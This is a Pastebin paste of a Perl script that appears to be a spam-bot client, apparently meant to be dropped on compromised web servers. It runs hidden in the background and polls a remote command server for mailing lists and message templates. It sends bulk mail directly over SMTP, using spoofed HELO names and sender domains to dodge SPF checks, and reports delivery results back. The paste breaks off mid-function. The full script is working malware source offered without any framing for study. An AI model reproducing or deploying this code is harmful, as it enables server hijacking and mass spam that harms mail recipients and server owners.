Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl -w
- #
- use strict;
- use POSIX;
- use IO::Socket;
- use IO::Select;
- $| = 1; my $debug = 0;
- &hide(); print "Content-type: text/plain; charset=iso-8859-1\x0D\x0A\x0D\x0AJm73uZ"; exit 0;
- sub main
- {
- my $s_host = shift;
- my $s_path = shift;
- my $s_mode = shift;
- ###
- #
- ###
- if ($debug)
- {
- $SIG{PIPE} = "IGNORE";
- }
- else
- {
- return unless defined (my $child = fork);
- return if $child;
- POSIX::setsid();
- $SIG{$_} = "IGNORE" for (qw (HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));
- umask 0;
- chdir "/";
- open (STDIN, "</dev/null");
- open (STDOUT, ">/dev/null");
- open (STDERR, ">&STDOUT");
- }
- srand;
- ###
- #
- ###
- my $s =
- {
- #
- version => 6,
- #
- command => 0,
- #
- size => 0,
- #
- timeout => 60,
- #
- request => 1,
- #
- host => (gethostbyname $s_host)[4],
- #
- sender => undef
- };
- exit 0 unless $s->{host};
- ###
- #
- ###
- my $b =
- {
- #
- id => 0,
- #
- ip => "",
- #
- helo => undef,
- #
- timezone => [["+", "-"]->[int rand 2], (1 + int rand 6)],
- #
- nameserver => [],
- #
- timeout => 10,
- #
- #
- session => 0,
- #
- copies => 1,
- #
- #
- #
- #
- method => 0,
- #
- #
- #
- spf => 0,
- #
- #
- #
- #
- level => 0,
- #
- mailbase => [],
- #
- from => [],
- #
- replyto => [],
- #
- subject => [],
- #
- header => "",
- #
- letter => "",
- #
- #
- #
- #
- priority => 1,
- #
- #
- #
- type => 0,
- #
- charset => "",
- #
- good => [0, ""],
- #
- unlucky => [0, ""],
- #
- bad => [0, ""],
- #
- report => ""
- };
- my $test = &test(1);
- unless ($test)
- {
- exit 0 if !defined $s_mode;
- ($test, $s->{sender}) = &test(0);
- exit 0 unless $test;
- $s->{version} = 0;
- $b->{helo} = "localhost";
- }
- ###
- #
- ###
- my $readers = IO::Select->new() or exit 0;
- my $writers = IO::Select->new() or exit 0;
- my $session = {};
- my $flagset =
- {
- timeout => 1
- };
- my $cache = {};
- my $reset_time = time;
- my $reset_wait = 120;
- my $reset_stat = 0;
- my $first_exec = 1;
- my $request_time = time;
- my $request_flag = 1;
- my $counter_addr = 0;
- #
- my $destroy = sub
- {
- my ($object, $handle) = @_;
- #
- if ($session->{$handle}{status} =~ /^rs/)
- {
- $request_flag = 1;
- }
- elsif (exists $session->{$handle}{object})
- {
- if ($_ = shift @{$session->{$handle}{object}})
- {
- $b->{unlucky}[0] ++;
- if ($b->{level})
- {
- $b->{unlucky}[1] .= "$_\x0A";
- $b->{report} .= "$_ - [$session->{$handle}{status}] Timeout\x0A" if $b->{level} > 1;
- }
- #
- push @{$b->{mailbase}}, $session->{$handle}{object} if scalar @{$session->{$handle}{object}};
- }
- }
- if (exists $session->{$handle}{mx})
- {
- $cache->{$session->{$handle}{mx}}[1] -- if $cache->{$session->{$handle}{mx}}[1] > 0;
- }
- delete $session->{$handle};
- $object->remove($handle);
- close $handle;
- };
- #
- while (1)
- {
- #
- IO::Select->select(undef, undef, undef, 0.01);
- #
- my $time = time;
- if ($reset_stat != ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]))
- {
- $reset_stat = ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]);
- $reset_time = $time + $reset_wait;
- }
- if ($time >= $reset_time)
- {
- $reset_time = $time + $reset_wait;
- $reset_stat = 0;
- $counter_addr = 0;
- $b->{$_} = [] for (qw (mailbase from replyto subject));
- $b->{$_} = [0, ""] for (qw (good unlucky bad));
- $b->{report} = "";
- $cache = {};
- $session = {};
- my $ha = [$writers->handles];
- foreach my $hs (@$ha) { $writers->remove($hs); close $hs; }
- $ha = [$readers->handles];
- foreach my $hs (@$ha) { $readers->remove($hs); close $hs; }
- $request_flag = 1;
- $request_time = time;
- next;
- }
- #
- if ($request_flag && $time >= $request_time)
- {
- while (1)
- {
- #
- my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
- #
- last unless $socket;
- #
- $socket->blocking(0);
- #
- unless ($socket->connect($_ = sockaddr_in(80, $s->{host})))
- {
- unless ($! == POSIX::EINPROGRESS)
- {
- #
- #
- close $socket;
- #
- last;
- }
- }
- #
- #
- unless ($writers->add($socket))
- {
- #
- #
- close $socket;
- #
- last;
- }
- #
- $session->{$socket} =
- {
- status => "rs_cn",
- buffer => "",
- flagset => $flagset->{timeout},
- timeout => 0
- };
- $s->{$_} = 0 for (qw (command size));
- if ($counter_addr <= ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]))
- {
- $s->{command} = 1;
- $s->{command} = 2 if $first_exec;
- $reset_time = $time + $reset_wait;
- $reset_stat = 0;
- if ($counter_addr)
- {
- $s->{size} = 16;
- $session->{$socket}{buffer} .= pack ("L", $b->{id});
- $session->{$socket}{buffer} .= pack ("L", $b->{$_}[0]) for (qw (good unlucky bad));
- if ($b->{level})
- {
- for (qw (good unlucky bad))
- {
- $s->{size} += (4 + length $b->{$_}[1]);
- $session->{$socket}{buffer} .= pack ("L", length $b->{$_}[1]);
- $session->{$socket}{buffer} .= $b->{$_}[1];
- }
- if ($b->{level} > 1)
- {
- $s->{size} += (4 + length $b->{report});
- $session->{$socket}{buffer} .= pack ("L", length $b->{report});
- $session->{$socket}{buffer} .= $b->{report};
- }
- }
- }
- }
- $session->{$socket}{buffer} = pack ("SC2L2", 0x0F0F, $s->{version}, $s->{command}, $$, $s->{size}) . $session->{$socket}{buffer};
- $s->{size} = length $session->{$socket}{buffer};
- $session->{$socket}{buffer} = "POST $s_path HTTP/1.0\x0D\x0AHost: $s_host\x0D\x0AContent-type: application/x-www-form-urlencoded\x0D\x0AContent-Length: $s->{size}\x0D\x0A\x0D\x0A$session->{$socket}{buffer}";
- #
- $request_flag = 0;
- #
- last;
- }
- }
- #
- if (my $mail_array = shift @{$b->{mailbase}})
- {
- while (scalar @$mail_array)
- {
- #
- my $mail = @{$mail_array}[0];
- my ($mx) = &mail(\$mail);
- $mx = lc ((split /\@/, $$mx)[1]);
- my $type = 15;
- if ($s->{version} == 0)
- {
- $cache->{$mx}[0] = "127.0.0.1" unless exists $cache->{$mx};
- }
- if (exists $cache->{$mx})
- {
- my $sv = $mx;
- $mx = $cache->{$sv}[0];
- if ($mx =~ /^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)
- {
- $cache->{$sv}[1] = 0 unless $cache->{$sv}[1];
- if ($b->{session} && ($cache->{$sv}[1] >= $b->{session}))
- {
- #
- push @{$b->{mailbase}}, $mail_array;
- #
- last;
- }
- if ($1 > 255 || $2 > 255 || $3 > 255 || $4 > 255)
- {
- while ($_ = shift @$mail_array)
- {
- $b->{bad}[0] ++;
- if ($b->{level})
- {
- $b->{bad}[1] .= "$_\x0A";
- $b->{report} .= "$_ - [mx_ip] Object non exists\x0A" if $b->{level} > 1;
- }
- }
- #
- last;
- }
- $mx = pack ("C4", $1, $2, $3, $4);
- #
- #
- my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
- #
- unless ($socket)
- {
- #
- push @{$b->{mailbase}}, $mail_array;
- #
- last;
- }
- #
- $socket->blocking(0);
- #
- unless ($socket->connect($_ = sockaddr_in(25, $mx)))
- {
- unless ($! == POSIX::EINPROGRESS)
- {
- #
- #
- close $socket;
- $b->{unlucky}[0] ++;
- if ($b->{level})
- {
- $b->{unlucky}[1] .= "$mail\x0A";
- $b->{report} .= "$mail - [mx_cn] Can't connect\x0A" if $b->{level} > 1;
- }
- #
- shift @$mail_array;
- #
- push @{$b->{mailbase}}, $mail_array if scalar @$mail_array;
- #
- last;
- }
- }
- #
- #
- unless ($writers->add($socket))
- {
- #
- #
- close $socket;
- #
- push @{$b->{mailbase}}, $mail_array;
- #
- last;
- }
- $cache->{$sv}[1] ++;
- my $sender;
- if (defined $s->{sender} && length $s->{sender})
- {
- $sender = $s->{sender};
- }
- else
- {
- $sender = @{$b->{from}}[int rand scalar @{$b->{from}}];
- $sender =~ s/\@.+$/\@$b->{helo}/ if ($b->{spf} && $b->{helo} ne "localhost");
- }
- #
- $session->{$socket} =
- {
- status => "mx_cn",
- mx => $sv,
- buffer => "",
- object => $mail_array,
- mindex => 0,
- sender => $sender,
- flagset => $flagset->{timeout},
- timeout => 0
- };
- #
- last;
- }
- else
- {
- #
- $type = 1;
- }
- }
- else
- {
- #
- $type = 15;
- }
- #
- my $socket = IO::Socket::INET->new(Proto => "udp");
- #
- unless ($socket)
- {
- #
- push @{$b->{mailbase}}, $mail_array;
- #
- last;
- }
- #
- $socket->blocking(0);
- #
- unless ($writers->add($socket))
- {
- #
- #
- close $socket;
- #
- push @{$b->{mailbase}}, $mail_array;
- #
- last;
- }
- #
- $session->{$socket} =
- {
- status => "ns_cn",
- buffer => "",
- object => $mail_array,
- sender => $mx,
- flagset => $flagset->{timeout},
- timeout => 0,
- type => $type,
- packet => 0
- };
- #
- last;
- }
- }
- elsif ($counter_addr && !scalar keys %$session)
- {
- $counter_addr = ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]) if $counter_addr > ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]);
- $request_time = $time if $counter_addr <= ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0]);
- }
- #
- my $writable = [$writers->handles];
- foreach my $handle (@$writable)
- {
- #
- if ($session->{$handle}{flagset} & $flagset->{timeout})
- {
- #
- #
- if ($session->{$handle}{status} =~ /^rs/)
- {
- #
- $session->{$handle}{timeout} = $time + $s->{timeout};
- }
- else
- {
- #
- $session->{$handle}{timeout} = $time + $b->{timeout};
- }
- #
- $session->{$handle}{flagset} ^= $flagset->{timeout};
- }
- elsif ($time >= $session->{$handle}{timeout})
- {
- #
- #
- $destroy->($writers, $handle);
- }
- }
- #
- $writable = (IO::Select->select(undef, $writers, undef, 0))[1];
- foreach my $handle (@$writable)
- {
- if ($session->{$handle}{status} =~ /cn$/)
- {
- if ($session->{$handle}{status} eq "ns_cn")
- {
- $session->{$handle}{status} = "ns_wr";
- #
- $session->{$handle}{packet} = int rand 65536;
- $session->{$handle}{buffer} .= pack ("nSn4", $session->{$handle}{packet}, 1, 1, 0, 0, 0);
- $session->{$handle}{buffer} .= pack ("C", length $_) . $_ for (split (/\./, $session->{$handle}{sender}));
- $session->{$handle}{buffer} .= pack ("Cn2", 0, $session->{$handle}{type}, 1);
- $session->{$handle}{sender} = length $session->{$handle}{buffer};
- #
- next;
- }
- #
- if ($handle->connected)
- {
- #
- #
- #
- #
- if ($session->{$handle}{status} eq "rs_cn")
- {
- $session->{$handle}{status} = "rs_wr";
- }
- else
- {
- $session->{$handle}{status} = "mx_rd";
- #
- unless ($readers->add($handle))
- {
- #
- #
- $destroy->($writers, $handle);
- #
- next;
- }
- #
- $writers->remove($handle);
- }
- }
- else
- {
- #
- #
- $destroy->($writers, $handle);
- }
- }
- else
- {
- #
- my $result;
- if ($session->{$handle}{status} eq "ns_wr")
- {
- my $nameserver = shift @{$b->{nameserver}};
- push @{$b->{nameserver}}, $nameserver;
- $result = $handle->send($session->{$handle}{buffer}, 0, $_ = sockaddr_in(53, $nameserver));
- }
- else
- {
- $result = syswrite ($handle, $session->{$handle}{buffer});
- }
- if (defined $result && $result > 0)
- {
- #
- #
- #
- #
- #
- substr ($session->{$handle}{buffer}, 0, $result) = "";
- #
- if (length $session->{$handle}{buffer} < 1)
- {
- #
- #
- if ($session->{$handle}{status} eq "rs_wr")
- {
- $session->{$handle}{status} = "rs_rd";
- #
- if ($s->{command} && $counter_addr && ($counter_addr <= ($b->{good}[0] + $b->{unlucky}[0] + $b->{bad}[0])))
- {
- $counter_addr = 0;
- $b->{$_} = [] for (qw (mailbase from replyto subject));
- $b->{$_} = [0, ""] for (qw (good unlucky bad));
- $b->{report} = "";
- $cache = {};
- }
- #
- $request_time = $time + $s->{request} * 60;
- }
- elsif ($session->{$handle}{status} eq "ns_wr")
- {
- $session->{$handle}{status} = "ns_rd";
- }
- #
- unless ($readers->add($handle))
- {
- #
- #
- $destroy->($writers, $handle);
- #
- next;
- }
- #
- $writers->remove($handle);
- }
- }
- elsif ($! == EWOULDBLOCK)
- {
- #
- #
- next;
- }
- elsif ($! == EPIPE)
- {
- #
- #
- $destroy->($writers, $handle);
- }
- else
- {
- #
- #
- $destroy->($writers, $handle);
- }
- }
- }
- #
- my $readable = [$readers->handles];
- foreach my $handle (@$readable)
- {
- #
- if ($session->{$handle}{flagset} & $flagset->{timeout})
- {
- #
- #
- if ($session->{$handle}{status} =~ /^rs/)
- {
- #
- $session->{$handle}{timeout} = $time + $s->{timeout};
- }
- else
- {
- #
- $session->{$handle}{timeout} = $time + $b->{timeout};
- }
- #
- $session->{$handle}{flagset} ^= $flagset->{timeout};
- }
- elsif ($time >= $session->{$handle}{timeout})
- {
- #
- #
- $destroy->($readers, $handle);
- }
- }
- #
- $readable = (IO::Select->select($readers, undef, undef, 0))[0];
- foreach my $handle (@$readable)
- {
- #
- my $result;
- if ($session->{$handle}{status} eq "ns_rd")
- {
- $result = $handle->recv($session->{$handle}{buffer}, 512);
- $result = length $session->{$handle}{buffer} if defined $result;
- }
- else
- {
- $result = sysread ($handle, $session->{$handle}{buffer}, 16384, length $session->{$handle}{buffer});
- }
- if (defined $result)
- {
- #
- if ($result > 0)
- {
- #
- #
- #
- #
- if ($session->{$handle}{status} eq "rs_rd")
- {
- #
- next if 4 > length $session->{$handle}{buffer};
- if ($session->{$handle}{buffer} !~ /^HTTP/)
- {
- #
- #
- $destroy->($readers, $handle);
- #
- next;
- }
- else
- {
- #
- my $offset = index ($session->{$handle}{buffer}, "\x0D\x0A\x0D\x0A");
- #
- next unless $offset >= 0;
- #
- if ($session->{$handle}{buffer} =~ /^HTTP\S+\s+([^\x0D\x0A]*)/)
- {
- if ($1 !~ /^200/)
- {
- #
- #
- $destroy->($readers, $handle);
- #
- next;
- }
- $offset += 4;
- #
- #
- next if 10 > (length $session->{$handle}{buffer}) - $offset;
- #
- my $server =
- {
- sign => 0,
- timeout => 0,
- request => 0,
- command => 0,
- size => 0
- };
- @_ = unpack ("S2C2L", substr ($session->{$handle}{buffer}, $offset, 10));
- $server->{$_} = shift @_ for (qw (sign timeout request command size));
- if ($server->{sign} != 0xAFAF)
- {
- #
- #
- $destroy->($readers, $handle);
- #
- next;
- }
- #
- $first_exec = 0;
- exit 0 if $server->{command};
- #
- $s->{timeout} = $server->{timeout};
- $s->{request} = $server->{request};
- #
- $request_time = $time + $s->{request} * 60;
- #
- unless ($server->{size})
- {
- #
- #
- $destroy->($readers, $handle);
- #
- next;
- }
- #
- $offset += 10;
- #
- next if $server->{size} > (length $session->{$handle}{buffer}) - $offset;
- #
- substr ($session->{$handle}{buffer}, 0, $offset) = "";
- @_ = unpack ("La4", substr ($session->{$handle}{buffer}, 0, 8, ""));
- $b->{$_} = shift @_ for (qw (id ip));
- $b->{nameserver} = [];
- push @{$b->{nameserver}}, substr ($session->{$handle}{buffer}, 0, 4, "") for (1..16);
- @_ = unpack ("S2C4", substr ($session->{$handle}{buffer}, 0, 8, ""));
- $b->{$_} = shift @_ for (qw (timeout session copies method spf level));
- @{$b->{$_}} = split ("\x0A", substr ($session->{$handle}{buffer}, 0, unpack ("L", substr ($session->{$handle}{buffer}, 0, 4, "")), "")) for (qw (mailbase from replyto subject));
- $counter_addr = scalar @{$b->{mailbase}};
- my $mailbase_temp = {};
- while (my $mail_temp = shift @{$b->{mailbase}})
- {
- my ($host_temp) = &mail(\$mail_temp);
- $host_temp = lc ((split /\@/, $$host_temp)[1]);
- $mailbase_temp->{$host_temp} = [] unless exists $mailbase_temp->{$host_temp};
- push @{$mailbase_temp->{$host_temp}}, $mail_temp;
- }
- foreach my $host_temp (keys %$mailbase_temp)
- {
- while (scalar @{$mailbase_temp->{$host_temp}})
- {
- my $mail_temp = [];
- for (1..$b->{copies})
- {
- last unless scalar @{$mailbase_temp->{$host_temp}};
- push @$mail_temp, shift @{$mailbase_temp->{$host_temp}};
- }
- push @{$b->{mailbase}}, $mail_temp;
- }
- }
- undef $mailbase_temp;
- #
- #
- $b->{header} = substr ($session->{$handle}{buffer}, 0, unpack ("L", substr ($session->{$handle}{buffer}, 0, 4, "")), "");
- unless ($b->{header})
- {
- $b->{header} = ['Date: %DATE%', 'From: %FROMADDR%', 'Reply-To: %REPLYTOADDR%', 'X-Priority: %NPRIORITY%', 'Message-ID: <%MESSAGEID%@%HELO%>', 'To: %TOADDR%', 'Subject: %SUBJECT%'];
- $b->{header} = join ("\x0D\x0A", @{$b->{header}}, 'MIME-Version: 1.0', 'Content-Type: text/%TYPE%; charset=%CHARSET%', 'Content-Transfer-Encoding: %ENCODING%');
- }
- $b->{letter} = substr ($session->{$handle}{buffer}, 0, unpack ("L", substr ($session->{$handle}{buffer}, 0, 4, "")), "");
- $b->{letter} = "" unless $b->{letter};
- $b->{$_} = unpack ("C", substr ($session->{$handle}{buffer}, 0, 1, "")) for (qw (priority type));
- $b->{charset} = substr ($session->{$handle}{buffer}, 0, length $session->{$handle}{buffer}, "");
- $b->{ip} = join (".", unpack ("C4", $b->{ip}));
- unless ($b->{helo})
- {
- $b->{helo} = &nstest($_ = sockaddr_in(53, $b->{nameserver}[0]), 3, $b->{ip}, "PTR");
- $b->{helo} = &nstest($_ = sockaddr_in(53, $b->{nameserver}[1]), 3, $b->{ip}, "PTR") unless $b->{helo};
- $b->{helo} = &nstest($_ = sockaddr_in(53, pack ("C4", split (/\./, "208.67.222.222"))), 3, $b->{ip}, "PTR") unless $b->{helo};
- $b->{helo} = &nstest($_ = sockaddr_in(53, pack ("C4", split (/\./, "208.67.220.220"))), 3, $b->{ip}, "PTR") unless $b->{helo};
- $b->{helo} = "localhost" unless $b->{helo};
- }
- $b->{report} = "\x0ACLIENT V.$s->{version} IP=$b->{ip} PTR=$b->{helo} ID=$b->{id}\x0A\x0A" if $b->{level} > 1;
- #
- #
- $destroy->($readers, $handle);
- #
- next;
- }
- else
- {
- #
- #
- $destroy->($readers, $handle);
- #
- next;
- }
- }
- }
- elsif ($session->{$handle}{status} eq "ns_rd")
- {
- if (length $session->{$handle}{buffer})
- {
- my ($resp, $code) = &nsparser($session->{$handle}{packet}, $session->{$handle}{buffer}, $session->{$handle}{sender}, $session->{$handle}{type});
- if (!defined $resp)
- {
- while ($_ = shift @{$session->{$handle}{object}})
- {
- $b->{bad}[0] ++;
- if ($b->{level})
- {
- $b->{bad}[1] .= "$_\x0A";
- $b->{report} .= "$_ - [ns_rd] $code\x0A" if $b->{level} > 1;
- }
- }
- }
- elsif ($resp =~ /^0$/)
- {
- $resp = shift @{$session->{$handle}{object}};
- $b->{unlucky}[0] ++;
- if ($b->{level})
- {
- $b->{unlucky}[1] .= "$resp\x0A";
- $b->{report} .= "$resp - [ns_rd] $code\x0A" if $b->{level} > 1;
- }
- push @{$b->{mailbase}}, $session->{$handle}{object} if scalar @{$session->{$handle}{object}};
- }
- else
- {
- $code = @{$session->{$handle}{object}}[0];
- ($code) = &mail(\$code);
- $code = lc ((split /\@/, $$code)[1]);
- $cache->{$code}[0] = $resp;
- push @{$b->{mailbase}}, $session->{$handle}{object};
- }
- delete $session->{$handle}{object};
- #
- $destroy->($readers, $handle);
- #
- next;
- }
- }
- elsif ($session->{$handle}{buffer} =~ /^[^\-]{4}.*\x0D\x0A$/m)
- {
- #
- print "< $session->{$handle}{buffer}" if $debug;
- if ($session->{$handle}{buffer} !~ /^(2|3)/)
- {
- if ($b->{level} > 1)
- {
- $session->{$handle}{buffer} =~ s/\x0D//g;
- $session->{$handle}{buffer} =~ s/[\x09|\x0A]+/\x20/g;
- }
- $session->{$handle}{mindex} -- if $session->{$handle}{mindex} > 0;
- if ($session->{$handle}{status} =~ /^mx_(rd|gr)$/)
- {
- while ($_ = shift @{$session->{$handle}{object}})
- {
- $b->{unlucky}[0] ++;
- if ($b->{level})
- {
- $b->{unlucky}[1] .= "$_\x0A";
- $b->{report} .= "$_ - [$session->{$handle}{status}] Bad host $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
- }
- }
- #
- delete $session->{$handle}{object};
- $destroy->($readers, $handle);
- #
- next;
- }
- elsif ($session->{$handle}{status} =~ /^mx_(mf|rt)$/)
- {
- if ($session->{$handle}{buffer} =~ /\d+\.\d+\.\d+\.\d+/g || $session->{$handle}{buffer} =~ /( ip |block|black|reject|later|many)/ig)
- {
- #
- while ($_ = shift @{$session->{$handle}{object}})
- {
- $b->{unlucky}[0] ++;
- if ($b->{level})
- {
- $b->{unlucky}[1] .= "$_\x0A";
- $b->{report} .= "$_ - [$session->{$handle}{status}] Bad host $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
- }
- }
- #
- delete $session->{$handle}{object};
- $destroy->($readers, $handle);
- #
- next;
- }
- else
- {
- #
- $b->{bad}[0] ++;
- if ($b->{level})
- {
- $b->{bad}[1] .= "$session->{$handle}{object}[$session->{$handle}{mindex}]\x0A";
- $b->{report} .= "$session->{$handle}{object}[$session->{$handle}{mindex}] - [$session->{$handle}{status}] Invalid recipient $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
- }
- splice @{$session->{$handle}{object}}, $session->{$handle}{mindex}, 1;
- unless (scalar @{$session->{$handle}{object}})
- {
- #
- delete $session->{$handle}{object};
- $destroy->($readers, $handle);
- #
- next;
- }
- }
- }
- else
- {
- $b->{unlucky}[0] ++;
- if ($b->{level})
- {
- $b->{unlucky}[1] .= "$session->{$handle}{object}[$session->{$handle}{mindex}]\x0A";
- $b->{report} .= "$session->{$handle}{object}[$session->{$handle}{mindex}] - [$session->{$handle}{status}] Delivery error $session->{$handle}{buffer}\x0A" if $b->{level} > 1;
- }
- splice @{$session->{$handle}{object}}, $session->{$handle}{mindex}, 1;
- push @{$b->{mailbase}}, $session->{$handle}{object} if scalar @{$session->{$handle}{object}};
- #
- delete $session->{$handle}{object};
- $destroy->($readers, $handle);
- #
- next;
- }
- }
- if ($session->{$handle}{status} eq "mx_rd")
- {
- my $helo = $b->{helo};
- #
- #
- #
- #
- #
- $session->{$handle}{buffer} = "HELO $helo\x0D\x0A";
- $session->{$handle}{status} = "mx_gr";
- }
- elsif ($session->{$handle}{status} eq "mx_gr")
- {
- my ($mail) = &mail(\$session->{$handle}{sender});
- $session->{$handle}{buffer} = "MAIL FROM: <$$mail>\x0D\x0A";
- $session->{$handle}{status} = "mx_mf";
- }
- elsif ($session->{$handle}{status} eq "mx_mf")
- {
- my ($mail) = &mail(\$session->{$handle}{object}[$session->{$handle}{mindex}]);
- $session->{$handle}{buffer} = "RCPT TO: <$$mail>\x0D\x0A";
- $session->{$handle}{mindex} ++;
- $session->{$handle}{status} = $session->{$handle}{mindex} >= scalar @{$session->{$handle}{object}} ? "mx_rt" : "mx_mf";
- }
- elsif ($session->{$handle}{status} eq "mx_rt")
- {
- $session->{$handle}{buffer} = "DATA\x0D\x0A";
- $session->{$handle}{status} = "mx_dt";
- }
- elsif ($session->{$handle}{status} eq "mx_dt")
- {
- $session->{$handle}{buffer} = &data($session->{$handle}{object}, $session->{$handle}{sender}, $b);
- $session->{$handle}{buffer} .= "\x0D\x0A.\x0D\x0A";
- $session->{$handle}{status} = "mx_dr";
- }
- elsif ($session->{$handle}{status} eq "mx_dr")
- {
- $b->{good}[0] += scalar @{$session->{$handle}{object}};
- if ($b->{level})
- {
- while ($_ = shift @{$session->{$handle}{object}})
- {
- $b->{good}[1] .= "$_\x0A";
- }
- }
- delete $session->{$handle}{object};
- $session->{$handle}{buffer} = "QUIT\x0D\x0A";
- $session->{$handle}{status} = "mx_qt";
- }
- else
- {
- $destroy->($readers, $handle);
- #
- next;
- }
- print "> $session->{$handle}{buffer}" if $debug;
- #
- unless ($writers->add($handle))
- {
- #
- #
- $destroy->($readers, $handle);
- #
- next;
- }
- #
- $readers->remove($handle);
- }
- }
- else
- {
- #
- #
- $destroy->($readers, $handle);
- #
- next;
- }
- }
- elsif ($! == EWOULDBLOCK)
- {
- #
- #
- next;
- }
- else
- {
- #
- #
- $destroy->($readers, $handle);
- #
- next;
- }
- }
- }
- }
- #
- sub nstest
- {
- my ($packaddr, $timeout, $query, $querytype, $recursion) = @_;
- return if !defined $query || $query !~ /\w+\.\w+$/;
- my $type = {PTR => 12, MX => 15};
- $type = $type->{$querytype};
- if ($query =~ /^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)
- {
- return if ($1 > 255 || $2 > 255 || $3 > 255 || $4 > 255);
- return $query if $type == 1;
- $query = "$4.$3.$2.$1.in-addr.arpa";
- }
- my $packid = int rand 65536;
- my $packet = pack ("nSn4", $packid, 1, 1, 0, 0, 0);
- for (split (/\./, lc $query))
- {
- $packet .= pack ("C", length $_) . $_;
- }
- $packet .= pack ("Cn2", 0, $type, 1);
- my $offset = length $packet;
- my $socket = IO::Socket::INET->new(Proto=>"udp");
- return unless $socket;
- unless ($socket->send ($packet, 0, $packaddr))
- {
- close $socket;
- return;
- }
- my $buffer;
- my $select = new IO::Select $socket;
- if ($select->can_read($timeout))
- {
- $socket->recv ($buffer, 512);
- }
- else
- {
- close $socket;
- return;
- }
- close $socket;
- my ($resp, $text) = &nsparser($packid, $buffer, $offset, $type, $recursion);
- return $resp;
- }
- #
- sub nsparser
- {
- my ($packid, $buffer, $offset, $type, $recursion) = @_;
- if (!defined $buffer || length $buffer < 12)
- {
- return (0, "Response error");
- }
- @_ = unpack ("nC2n4", $buffer);
- my $header =
- {
- id => $_[0],
- qr => ($_[1] >> 7) & 1,
- opcode => ($_[1] >> 3) & 15,
- aa => ($_[1] >> 2) & 1,
- tc => ($_[1] >> 1) & 1,
- rd => $_[1] & 1,
- ra => ($_[2] >> 7) & 1,
- z => ($_[2] >> 4) & 6,
- rcode => $_[2] & 15,
- qdcount => $_[3],
- ancount => $_[4],
- nscount => $_[5],
- arcount => $_[6]
- };
- return (0, "Sync error") if $header->{id} != $packid;
- if ($type == 6)
- {
- $header->{rcode} = 0;
- $header->{ancount} = $header->{nscount};
- }
- return (undef, "Object not exists") if $header->{rcode} != 0;
- unless ($recursion)
- {
- return (0, "No recursion") if !$header->{ra};
- }
- return (undef, "No data") if !$header->{ancount};
- #
- return (undef, "Response truncated") if $header->{tc};
- return (0, "Response error") if length $buffer < $offset;
- my $result = {};
- for (1..$header->{ancount})
- {
- (my $rdata, $offset) = &nsunpack($buffer, $offset);
- if (!defined $rdata || length $buffer < $offset + 10)
- {
- return (0, "Response error");
- }
- my ($rtype, $rclass, $rttl, $rlength) = unpack ("\@$offset n2 N n", $buffer);
- $offset += 10;
- return (0, "Response error") if length $buffer < $offset + $rlength;
- if ($type == 1)
- {
- $rdata = inet_ntoa(substr ($buffer, $offset, 4));
- $offset += $rlength;
- $result->{$rdata} = 1 if $rtype == 1;
- }
- elsif ($type == 2)
- {
- ($rdata, $offset) = &nsunpack($buffer, $offset);
- return (0, "Response error") if !defined $rdata;
- $result->{$rdata} = 1 if $rtype == 2;
- }
- elsif ($type == 6)
- {
- ($rdata, $offset) = &nsunpack($buffer, $offset);
- return (0, "Response error") if !defined $rdata;
- $result->{$rdata} = 1 if $rtype == 6;
- ($rdata, $offset) = &dnsunpack($buffer, $offset);
- if (!defined $rdata || length $buffer < $offset + 20)
- {
- return (0, "Response error");
- }
- my ($ser, $ref, $ret, $exp, $min) = unpack ("\@$offset N5", $buffer);
- }
- elsif ($type == 12)
- {
- ($rdata, $offset) = &nsunpack($buffer, $offset);
- return (0, "Response error") if !defined $rdata;
- $result->{$rdata} = 1 if $rtype == 12;
- }
- elsif ($type == 15)
- {
- my $priority = unpack ("n", substr ($buffer, $offset, 2));
- ($rdata, $offset) = &nsunpack($buffer, $offset + 2);
- return (0, "Response error") if !defined $rdata;
- $result->{$rdata} = $priority if $rtype == 15;
- }
- }
- $result = (sort {$result->{$a} <=> $result->{$b}} keys %$result)[0];
- }
- #
- sub nsunpack
- {
- my ($packet, $offset) = @_;
- my $rdata = "";
- while (1)
- {
- return if length $packet < $offset + 1;
- my $length = unpack ("\@$offset C", $packet);
- if (!$length)
- {
- $offset ++;
- last;
- }
- elsif (($length & 192) == 192)
- {
- return if length $packet < $offset + 2;
- my $next = unpack ("\@$offset n", $packet);
- $next &= 16383;
- ($next) = &nsunpack($packet, $next);
- return if !defined $next;
- $rdata .= $next;
- $offset += 2;
- last;
- }
- else
- {
- $offset ++;
- return if length $packet < $offset + $length;
- my $next = substr ($packet, $offset, $length);
- $next =~ s/\./\\./g;
- $rdata .= "$next.";
- $offset += $length;
- }
- }
- $rdata =~ s/\.$//;
- return ($rdata, $offset);
- }
- #
- sub mail
- {
- my $line = shift;
- return if !defined $$line || $$line !~ /^[^\@]+\@[^\@]+\.[^\@]+$/;
- my ($name, $mail, $info) = $$line =~ /\s*(.*?)[\s\|<]*([^\s|<]+\@[^>\|\s]+)>*(.*)$/;
- return if !$mail;
- $info =~ s/.*?\|[\s\|]*(.+?)[\s\|]*$/$1/ if length $info;
- return (\$mail, \$name, \$info);
- }
- #
- sub data
- {
- my ($to, $from, $b) = @_;
- my $time = time;
- my $zone = sprintf ("%s%02d00", $b->{timezone}[0], $b->{timezone}[1]);
- my $date = localtime $time; $date =~ s/^(\w+)\s+(\w+)\s+(\d+)\s+(\d+):(\d+):(\d+)\s+(\d+)$/sprintf "$1, $3 $2 $7 $4:$5:$6 %s", $zone/e;
- my $wday = {Mon => "Monday", Tue => "Tuesday", Wed => "Wednesday", Thu => "Thursday", Fri => "Friday", Sat => "Saturday", Sun => "Sunday"}->{$1};
